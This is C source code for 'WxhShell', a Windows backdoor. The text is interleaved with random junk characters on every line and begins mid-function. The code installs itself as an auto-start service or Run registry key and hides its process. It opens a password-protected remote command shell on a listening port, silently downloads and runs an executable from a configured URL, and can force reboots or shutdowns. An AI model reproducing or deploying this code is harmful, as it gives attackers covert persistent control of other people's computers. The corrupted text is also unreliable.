    } {gIEZ{  
    break; sUda   
    } }9Q f#&o  
  // 关机 )tPl<lb  
  case 'd': { ?W<cB`J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y?.gfEXSQo  
    if(Boot(SHUTDOWN)) >'0lw+a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <W|1<=z(  
    else { ,$i<@2/=m  
    closesocket(wsh); Qrz*Lvle h  
    ExitThread(0); X0x_+b? _  
    } I:/4t^%  
    break; -CElk[u  
    } ;7 "Y?*{  
  // 获取shell oF&IC j0  
  case 's': { Z`"n:'&  
    CmdShell(wsh); %jgg59  
    closesocket(wsh); Z>HNe9pr  
    ExitThread(0); lDU#7\5.  
    break; </hR!Sb]  
  } O &\<FT5  
  // 退出 jQIV2TY[  
  case 'x': { n@o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4`G=q^GL,  
    CloseIt(wsh); /^ QFqM;  
    break; (o{)>D  
    } F$C+R&V_  
  // 离开 /~"AG l.  
  case 'q': { q]?+By-0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [R$liN99z;  
    closesocket(wsh); &0h=4i=6r  
    WSACleanup(); j5A\y^Kv  
    exit(1); }amE6  
    break; *hl<Y,W(  
        } =KW|#]RB^  
  } k^yy$^=<  
  } _6 /Qp`s  
R_~F6O^EO  
  // 提示信息 C0f[eA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TQ2i{e  
} $WM8tF?H  
  } sK[Nti0  
0Sz/c+ 6  
  return; :!hk~#yvJ9  
} DMRs}Yz6  
vy:6_  
// shell模块句柄 uyvskz\  
int CmdShell(SOCKET sock) ;9Hz{ej  
{ ^zkd{ov  
STARTUPINFO si; `O jvt-5}E  
ZeroMemory(&si,sizeof(si)); J b|mXNcL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X[Y #+z4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `ITDTZ J  
PROCESS_INFORMATION ProcessInfo; 34]%d<;A  
char cmdline[]="cmd"; _]Z$YM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1(D1}fcul  
  return 0; i|[S5QXCh  
} fVv$K&  
Zm5nLxM  
// 自身启动模式 }" g@E-]N  
int StartFromService(void) dfXV1B5  
{ ],!p p3U  
typedef struct 8Q +TE;  
{ :hi$}xHa  
  DWORD ExitStatus; 'fX er!L}  
  DWORD PebBaseAddress; F}\[eFf[  
  DWORD AffinityMask; d!FONi  
  DWORD BasePriority; jeyaT^F(   
  ULONG UniqueProcessId; ) +*@AM E  
  ULONG InheritedFromUniqueProcessId; N/`g?B[  
}   PROCESS_BASIC_INFORMATION; o(BYT9|.kw  
p$&_fzb  
PROCNTQSIP NtQueryInformationProcess; oF` -cyj"  
 8APTk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q&tFv;1w6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; baA HP "  
mn,=V[f  
  HANDLE             hProcess; #`2GAM];7  
  PROCESS_BASIC_INFORMATION pbi; WodF -bE  
)vxVg*.Ee  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 30e(4@!4vW  
  if(NULL == hInst ) return 0; vBV"i9n   
mq>*W' M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -_:JQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (d1V1t2r6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c M|af#o  
06Sqn3MB  
  if (!NtQueryInformationProcess) return 0; 2I9{+>k  
3Ro7M=]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K1CMLX]m  
  if(!hProcess) return 0; sz){uOI  
8j({=xbg&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?yda.<"g9Y  
,|=iv  
  CloseHandle(hProcess); )yfOrsM  
>0[qi1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <PH3gyC  
if(hProcess==NULL) return 0;  W\zL  
9p!dQx  
HMODULE hMod; 5LnB]dW  
char procName[255]; Qq6%53  
unsigned long cbNeeded; a2 IV!0x  
L|vaTidc0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bx_8@+  
1WZKQeOo  
  CloseHandle(hProcess); e /ppZ>  
5k_Mj* {6  
if(strstr(procName,"services")) return 1; // 以服务启动 *m2d#f  
GN8`xR{J*  
  return 0; // 注册表启动 4{1c7g  
} GZ-n! ^  
aa'0EU:  
// 主模块 :X]lXock0  
int StartWxhshell(LPSTR lpCmdLine) 9.]Cy8  
{ ZnxOa  
  SOCKET wsl; .'+|>6eU  
BOOL val=TRUE; \3 O-} n1S  
  int port=0; AF07KA#  
  struct sockaddr_in door; Qt)7mf  
t~udfOvY  
  if(wscfg.ws_autoins) Install(); H znI R  
$/-wgyP3m+  
port=atoi(lpCmdLine); gDjd{+LUo  
@vDgpb@TM  
if(port<=0) port=wscfg.ws_port; 1-ndJ@Wlz  
c9/ 'i  
  WSADATA data; =[O<.'aG-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FeincZ!M  
>(YPkmH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ynt&cdK9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +$an*k9  
  door.sin_family = AF_INET; 5Od(J5`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '8((;N|I^  
  door.sin_port = htons(port); }*{\)7g  
UOOR0$4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +5seT}h  
closesocket(wsl); MWp\D#H  
return 1; *U5> j#,  
} p3'mJ3MA  
&' oacV=  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Rt0h$_J  
closesocket(wsl); 1f bFNxo8M  
return 1; ~]D \&D9=?  
} #RZJ1uL  
  Wxhshell(wsl); @O*ev| o@x  
  WSACleanup(); 8P'En+uE1|  
FK/ro91L  
return 0; 9x 6ca  
Xk7$?8r4&  
} 1&>nL`E[3  
2TevdyI  
// 以NT服务方式启动 Cvu8X&y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U3dR[*  
{ ^FyvaO  
DWORD   status = 0; R*c0NJF  
  DWORD   specificError = 0xfffffff; IQIb\OUo!v  
:pV("tHE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PK|`}z9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z-;uzx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n?ZH2dI \0  
  serviceStatus.dwWin32ExitCode     = 0; :[ZC-hc\  
  serviceStatus.dwServiceSpecificExitCode = 0; bC,M&<N  
  serviceStatus.dwCheckPoint       = 0; >?uH#%C5  
  serviceStatus.dwWaitHint       = 0; D;T r  
FZ'>LZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PY3Vu]zD  
  if (hServiceStatusHandle==0) return; \c@qtIc  
cq+M *1;  
status = GetLastError(); |SXMu_w  
  if (status!=NO_ERROR) [laL6  
{ WRU@i;l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~QQ23k&  
    serviceStatus.dwCheckPoint       = 0; 1rzq$,O  
    serviceStatus.dwWaitHint       = 0; \t~u : D  
    serviceStatus.dwWin32ExitCode     = status; S0o,)`ZB  
    serviceStatus.dwServiceSpecificExitCode = specificError; \gk3w,B?E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )v$Cv|"  
    return; =Q8^@i4[&D  
  } 5/eS1NJ@  
?p/kuv{\o#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [HZCnO|N  
  serviceStatus.dwCheckPoint       = 0; yK2*~T,6@  
  serviceStatus.dwWaitHint       = 0; 7{/:,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rF j)5~  
} '<E8< bi  
4 d1Y\  
// 处理NT服务事件,比如:启动、停止 F|ML$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S:GUR6g8D  
{ do?n /<@o  
switch(fdwControl) R?e7#HsJ  
{ cB"F1~z  
case SERVICE_CONTROL_STOP: o3[sF  
  serviceStatus.dwWin32ExitCode = 0; cX]{RVZo-/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q)|LiCR,  
  serviceStatus.dwCheckPoint   = 0; GLcZ=6)"'  
  serviceStatus.dwWaitHint     = 0; 0 Vgn N  
  { jKi*3-&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T4, Zc  
  }  ,IvnNnl2  
  return; B7jlJqV  
case SERVICE_CONTROL_PAUSE: |&pz,"(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; QbKYB  
  break; aw@Aoq  
case SERVICE_CONTROL_CONTINUE: 'krMVC-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; an5kR_=  
  break; nQYS{`hk  
case SERVICE_CONTROL_INTERROGATE: v'~nABYH  
  break; a0j.\g  
}; dfk TDG+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #dm@%~B{.  
} +(k)1kCMn  
q,>F#A '  
// 标准应用程序主函数  WD do{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z# ?w/NE  
{ y Q @=\'  
?g*T3S"  
// 获取操作系统版本 HyYQQ  
OsIsNt=GetOsVer(); i3WmD@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t>`LO  
 !'t2  
  // 从命令行安装 <"Cwy0V kp  
  if(strpbrk(lpCmdLine,"iI")) Install(); )BTs *7 j  
:XY3TI  
  // 下载执行文件 (C_o^_I:  
if(wscfg.ws_downexe) { K#+]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $0C/S5b  
  WinExec(wscfg.ws_filenam,SW_HIDE); r[4F?W  
} 9: |K]y  
$YQ&\[pDA  
if(!OsIsNt) { O]LuL&=s y  
// 如果时win9x,隐藏进程并且设置为注册表启动 S<9d^= a  
HideProc(); fQA)r  
StartWxhshell(lpCmdLine); |g^W @.P  
} s!!t  
else 9i[2z:4HJ  
  if(StartFromService())  /lok3J:  
  // 以服务方式启动 Gqc6).tn  
  StartServiceCtrlDispatcher(DispatchTable); H+&w7ER  
else BRLU&@G`1  
  // 普通方式启动 dw}3B8]  
  StartWxhshell(lpCmdLine); |]3);^0  
5BO!K$6  
return 0; U)1qsUDF  
} P87Fg  
*TI6Z$b|6  
e Em0c]]9  
qtQ:7WO  
=========================================== JNg5?V;.U  
d7zE8)DU7  
<%f%e4 [  
&Gwh<%=U  
Y9ce"*b  
sO-R+G/^7  
" 3n)iTSU3  
E1v<-UPbA  
#include <stdio.h> =w?cp}HW  
#include <string.h> g]Ny?61  
#include <windows.h> 3VB V_/i;  
#include <winsock2.h> H#` ?toS  
#include <winsvc.h> htSk2N/  
#include <urlmon.h> #_|^C(]!  
k<hO9;#qpL  
#pragma comment (lib, "Ws2_32.lib") I~6 ;9TlQ  
#pragma comment (lib, "urlmon.lib") d>-EtWd  
z2zp c^i  
#define MAX_USER   100 // 最大客户端连接数 | N,nt@~  
#define BUF_SOCK   200 // sock buffer kYa' ] m  
#define KEY_BUFF   255 // 输入 buffer HliY  
= gyK*F(RK  
#define REBOOT     0   // 重启 CfnCi_=[`  
#define SHUTDOWN   1   // 关机 m:7bynT{  
6FFv+{ 2^@  
#define DEF_PORT   5000 // 监听端口 9h=WWu',  
F RUt}*  
#define REG_LEN     16   // 注册表键长度 Dv{AZyqe  
#define SVC_LEN     80   // NT服务名长度 0].5[Jo  
'Em($A (  
// 从dll定义API Di=6.gm[<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O]!DNN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); DcDGrRuh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "t`e68{Ls  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u[qtuM?&  
0evZg@JP`  
// wxhshell配置信息 @h8~xs~DG  
struct WSCFG { lv&wp@  
  int ws_port;         // 监听端口 &bx,6dX  
  char ws_passstr[REG_LEN]; // 口令 _erH]E| [  
  int ws_autoins;       // 安装标记, 1=yes 0=no LEa:{s<:  
  char ws_regname[REG_LEN]; // 注册表键名 NtL?cWct  
  char ws_svcname[REG_LEN]; // 服务名 ^O"`.2O1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2yc\A3ft#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '|r !yAO6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ' ]Y:gmM"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UG$i5PV%i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xGPv3TLH^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wd<}|?R  
9V!K. _Cb  
}; ,%<77LE  
gE(03SX  
// default Wxhshell configuration K)Ka"H  
struct WSCFG wscfg={DEF_PORT, %LmB`DqZ  
    "xuhuanlingzhe", vM8]fSc  
    1, pDfF'jt9  
    "Wxhshell", }]@ "t)"  
    "Wxhshell", =T6\kz9)`  
            "WxhShell Service", "0mR*{nF  
    "Wrsky Windows CmdShell Service", c+VUk*c3  
    "Please Input Your Password: ", qQryv_QP  
  1, Jy$-)  
  "http://www.wrsky.com/wxhshell.exe", 5=e@yIr'#  
  "Wxhshell.exe" $]86w8?-N  
    }; T]k@g_  
r|8..Ll  
// 消息定义模块 lPP7w`[PA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ok\UIi~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wEyh;ID3#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [c~zO+x  
char *msg_ws_ext="\n\rExit."; Ado>)c"*y1  
char *msg_ws_end="\n\rQuit."; :l{-UkbB  
char *msg_ws_boot="\n\rReboot..."; W=+ag<@  
char *msg_ws_poff="\n\rShutdown..."; SM?<woY=*  
char *msg_ws_down="\n\rSave to "; d7Z\  
u]-$]zIH  
char *msg_ws_err="\n\rErr!"; \!Pm^FD .  
char *msg_ws_ok="\n\rOK!"; yR-.OF,c  
I(|{/{P,  
char ExeFile[MAX_PATH]; (>'d`^kjk  
int nUser = 0; 6zSN?0c  
HANDLE handles[MAX_USER]; .v'8G)6g  
int OsIsNt; PeZ=ONY5  
>EG;2]M&  
SERVICE_STATUS       serviceStatus; b9Nw98`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,P]{*uqGiB  
u)ItML  
// 函数声明 57rP@,vj  
int Install(void); *{Vyt5  
int Uninstall(void); A,@"(3  
int DownloadFile(char *sURL, SOCKET wsh); /);6 j,x  
int Boot(int flag); x8t1g,QA  
void HideProc(void); eyOAG4QTV  
int GetOsVer(void); f}A^rWO  
int Wxhshell(SOCKET wsl); Px`yD3  
void TalkWithClient(void *cs); GfV9Ox   
int CmdShell(SOCKET sock); }z6HxB]$  
int StartFromService(void); 7UfyOOFa  
int StartWxhshell(LPSTR lpCmdLine); v?J2cL  
l!2.)F`x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TDFv\y}yc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y!].l0e2a  
oz--gA:g  
// 数据结构和表定义 6 AY%o nY  
SERVICE_TABLE_ENTRY DispatchTable[] = L'(^[vR(  
{ D!CGbP(  
{wscfg.ws_svcname, NTServiceMain}, OXo-(HLE  
{NULL, NULL} @g{ " E6  
}; Q{l;8MCL  
<=lP6B  
// 自我安装 !G37K8 &&*  
int Install(void) Mmn[ol  
{ ) PtaX|U  
  char svExeFile[MAX_PATH]; p O.8>C%  
  HKEY key; .,4&/cd  
  strcpy(svExeFile,ExeFile); !&kOqc5:t<  
>ObpOFb%  
// 如果是win9x系统,修改注册表设为自启动 S<44{ oH  
if(!OsIsNt) { ; 1WclQ!(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gNJ\*]SY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $k dfY'u  
  RegCloseKey(key); FM5$83Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - >2ej4C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =0A{z#6  
  RegCloseKey(key); x:(e: I8x(  
  return 0; gDH x+"?  
    } K4KmoGb  
  } "+Kr1nW  
} +oc}kv,h]  
else { Wr;)3K  
gS!M7xy  
// 如果是NT以上系统,安装为系统服务 DWDe5$^{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Zn/1uWO  
if (schSCManager!=0) Q{RHW@_/  
{ W'[!4RQL  
  SC_HANDLE schService = CreateService VYOO8MQI  
  ( y]k`}&-~  
  schSCManager, '7$v@Tvnre  
  wscfg.ws_svcname, {.ph)8  
  wscfg.ws_svcdisp, PO #FtG  
  SERVICE_ALL_ACCESS, FU<rE&X2:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }k%>%xQ.  
  SERVICE_AUTO_START, }r N"H4)  
  SERVICE_ERROR_NORMAL, @Q'5/q+  
  svExeFile, Jv5G:M5+~  
  NULL, E3'6lv'  
  NULL, aw~OvnX E  
  NULL, Z@>>ZS1Do  
  NULL, j \SDw  
  NULL W[b/.u5z:  
  ); k,H4<")H  
  if (schService!=0) l{ k   
  { 'lWNU   
  CloseServiceHandle(schService); nV'B!q  
  CloseServiceHandle(schSCManager); i^=an?}/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f,$FrI,  
  strcat(svExeFile,wscfg.ws_svcname); H_ x35|"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bF3j*bpO"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z|)~2[Roa  
  RegCloseKey(key); b{sFN !  
  return 0; wM><DrQ  
    } =w8*n2  
  } >k:)'*  
  CloseServiceHandle(schSCManager); wH<S0vl   
} n_5g:`Y  
} tZ(Wh  
0FXM4YcrJO  
return 1; UZV)A}  
} "?]5"lNC|  
8s|r'  
// 自我卸载 xx%WIY:}  
int Uninstall(void) r+>9O  
{ 1~j.jv$  
  HKEY key; c$p1Sovw  
9"/{gf3D  
if(!OsIsNt) { H94$Xi"Bd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9[:nW p^  
  RegDeleteValue(key,wscfg.ws_regname); /wmJMX  
  RegCloseKey(key); 9t=erhUr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n32?GRp  
  RegDeleteValue(key,wscfg.ws_regname); mv5!fp_*7  
  RegCloseKey(key); 3b|.L Jz+  
  return 0; D4@=+  
  } %$b 5&>q  
} D0uf=BbS  
} &:Q""e!  
else { 1cUC>_%?  
rGoB&% pc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L/V3sSt  
if (schSCManager!=0) EQg 6*V  
{ o#;w >-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1W5YS +pf  
  if (schService!=0) sH6srwI  
  { e7<~[>g)  
  if(DeleteService(schService)!=0) { A=BpB}b  
  CloseServiceHandle(schService); T%Z`:mf  
  CloseServiceHandle(schSCManager); jAF DkqH  
  return 0; 3n X7$$X  
  } =\`9\Gd  
  CloseServiceHandle(schService); guBOR 0x`  
  } MTr _8tI  
  CloseServiceHandle(schSCManager); b%AYYk)d?  
} X!r!lW  
} O#9Q+BD  
jk)U~KGcg  
return 1; zS.7O'I<'  
} ZWYwVAo  
d`^j\b>5(  
// 从指定url下载文件 }P^{\SDX  
int DownloadFile(char *sURL, SOCKET wsh) H.'_NCF&;L  
{ Lc+)#9*d  
  HRESULT hr; iTD{  
char seps[]= "/"; =PXNg!B}D*  
char *token; N$pO] p  
char *file; T Li0*)}  
char myURL[MAX_PATH]; ci ,o'`Q  
char myFILE[MAX_PATH]; W.>yIA%  
A*W QdY  
strcpy(myURL,sURL); IhUuL0  
  token=strtok(myURL,seps); (Iu5QLE  
  while(token!=NULL) =$f xK  
  { O>H4hp  
    file=token; \}Hk`n)Aq  
  token=strtok(NULL,seps); b@nbXm]Z  
  } S&@~F|  
6jom6/F 4  
GetCurrentDirectory(MAX_PATH,myFILE); B,}%1+*  
strcat(myFILE, "\\"); {?,:M  
strcat(myFILE, file); 9'O<d/xj/  
  send(wsh,myFILE,strlen(myFILE),0); T< P4+#JK  
send(wsh,"...",3,0); _)lK.5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DAJh9I  
  if(hr==S_OK) 'M YqCfIK  
return 0; _Tev503  
else }K0.*+M  
return 1; "x&H*"  
M=@U]1n*c  
} ==Ju2D?%  
f'*HP%+Y  
// 系统电源模块 >[ywrB ?T  
int Boot(int flag) PL wa!j  
{ ?DM-C5$  
  HANDLE hToken; dDAdZxd  
  TOKEN_PRIVILEGES tkp; cND2(< jx:  
Wu%;{y~#}  
  if(OsIsNt) { G| ^tqI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Xo }w$q5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  ,8@@r7  
    tkp.PrivilegeCount = 1; <#sB ;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0A\o8T.12  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2qw~hWX  
if(flag==REBOOT) { e(j"u;=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iQS?LksQX  
  return 0; h (jg7R  
} %/s:G)  
else { Onby=Y o6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) DH @*Oz-  
  return 0; L<J%IlcfO  
} .GLotc  
  } {P(IA2J'S  
  else { zaR~fO  
if(flag==REBOOT) { BwrMRMq"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C'kd>LAGu  
  return 0; l{vi{9n)  
} w ~Es,@  
else { "0n to+v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u]CW5snz  
  return 0; hNSV}~h  
} sLb[ZQ;j  
} H#G'q_uHH  
PJ9JRG7j  
return 1; H?M8j] R-)  
} r's4-\  
7RTp+FC]  
// win9x进程隐藏模块 dAohj QH:  
void HideProc(void) d(42ob.Tr  
{ O" n/.`  
P#"vlNa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %F1 Ce/  
  if ( hKernel != NULL ) 7teg*M{  
  { 2A {k>TjQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z6 (;~"Em  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yAXw?z!`O  
    FreeLibrary(hKernel); <c^m |v  
  } f`P%aX'cBQ  
DYbkw4Z,  
return; &\`=}hB  
} 0|HD(d`a  
*_3+ DF  
// 获取操作系统版本 y~Sh|2x8v  
int GetOsVer(void) .,<-lMC+  
{ ;g7 nG{  
  OSVERSIONINFO winfo; [u=b[(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -i7W|X"  
  GetVersionEx(&winfo); Yc+ /="&z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mryi6XT  
  return 1; i{!i %`"  
  else Sh}AGNE'  
  return 0; GYyP+7K4l[  
} r4D6g>)h1q  
l^WFMeMD3a  
// 客户端句柄模块 , B h[jb`y  
int Wxhshell(SOCKET wsl) )# M*@e$k  
{ @tRq(*(/:  
  SOCKET wsh; 2U)H2 %  
  struct sockaddr_in client; k g0Z(T:&8  
  DWORD myID; 'l!tQD!  
,z<\Z!+=  
  while(nUser<MAX_USER) %)u5A !"  
{ \c_1uDRoUn  
  int nSize=sizeof(client); ZSU;>&>%v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SPn0D9 b]  
  if(wsh==INVALID_SOCKET) return 1; g_5:o 3s  
+mYD DlvI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rG}o!I`z  
if(handles[nUser]==0) pkM_ @K  
  closesocket(wsh); '$UlJDZ  
else cdf8YN0!  
  nUser++; =0MW+-  
  } /0\m;&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ] +LleS5  
BoHMz/DB  
  return 0; aKhI|%5kA  
} WdnCRFO?l  
a$l/N{<.  
// 关闭 socket J}nE,U2  
void CloseIt(SOCKET wsh) uJ{N?  
{ V2V^*9(wu@  
closesocket(wsh); nkSYW]aQ1g  
nUser--; q_ykB8Ensa  
ExitThread(0); Y_xPr%%A  
} GadQ \>  
4-lEo{IIM  
// 客户端请求句柄 vn KKK.E  
void TalkWithClient(void *cs) 3QL'uk  
{ PGOi#x  
1#&*xF "  
  SOCKET wsh=(SOCKET)cs; AFF7fK  
  char pwd[SVC_LEN]; /t01z~_  
  char cmd[KEY_BUFF]; e{>X2UNW  
char chr[1]; Wx;:_F7'\  
int i,j; .3t[M0sd  
vLXN{ ]  
  while (nUser < MAX_USER) { `/Zi=.rr  
tz6d}$  
if(wscfg.ws_passstr) { x3MV"hm2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8~u#?xs6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ry/AF  
  //ZeroMemory(pwd,KEY_BUFF); =O<Ul~JRK  
      i=0; O)kC[e4  
  while(i<SVC_LEN) { ~Q0gSazXFt  
n[[rI0]g  
  // 设置超时 )K4 |-<i  
  fd_set FdRead; a.y_o50#T  
  struct timeval TimeOut; S=n,unn#t  
  FD_ZERO(&FdRead); ?ye) &  
  FD_SET(wsh,&FdRead); <9@I5 0;  
  TimeOut.tv_sec=8; 4Sfv  
  TimeOut.tv_usec=0; e@Q<hb0<eU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YrS%Yvhj0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0-oR { {  
AL>*Vj2h/n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .|NF8Fj  
  pwd=chr[0]; -y1%c^36_J  
  if(chr[0]==0xd || chr[0]==0xa) { $21+6  
  pwd=0; _O Tqm5_  
  break; fq~ <^B  
  } YYzj:'  
  i++; Q *![u5#  
    } \`-/\N  
>sv|  
  // 如果是非法用户,关闭 socket -%I]Q9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }:5AB93(  
} sZ/~pk  
ek1YaE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q.`+d[Q2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z)='MKrEt-  
G,FYj'<!7,  
while(1) { hw:zak#j,  
G9TK)Nz  
  ZeroMemory(cmd,KEY_BUFF); R%Gh4y\nF  
RXP0 4  
      // 自动支持客户端 telnet标准   (Eq0 |"cj  
  j=0; : |#Iw  
  while(j<KEY_BUFF) { q+>J'UGb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %=xR$<D  
  cmd[j]=chr[0]; o$FqMRep  
  if(chr[0]==0xa || chr[0]==0xd) { )q&=x2`  
  cmd[j]=0; snT!3t  
  break; +R@5e+auQ.  
  } K'+GK S7.  
  j++; *Em 9R  
    } ?"]fGp6y  
Jtnuo]{R  
  // 下载文件 Uc/MPCqZ  
  if(strstr(cmd,"http://")) { 'j6PL;~c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?g+0S@{i $  
  if(DownloadFile(cmd,wsh)) 8l-+ 4~mH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j(HC^\Hi  
  else (D]l/akP  
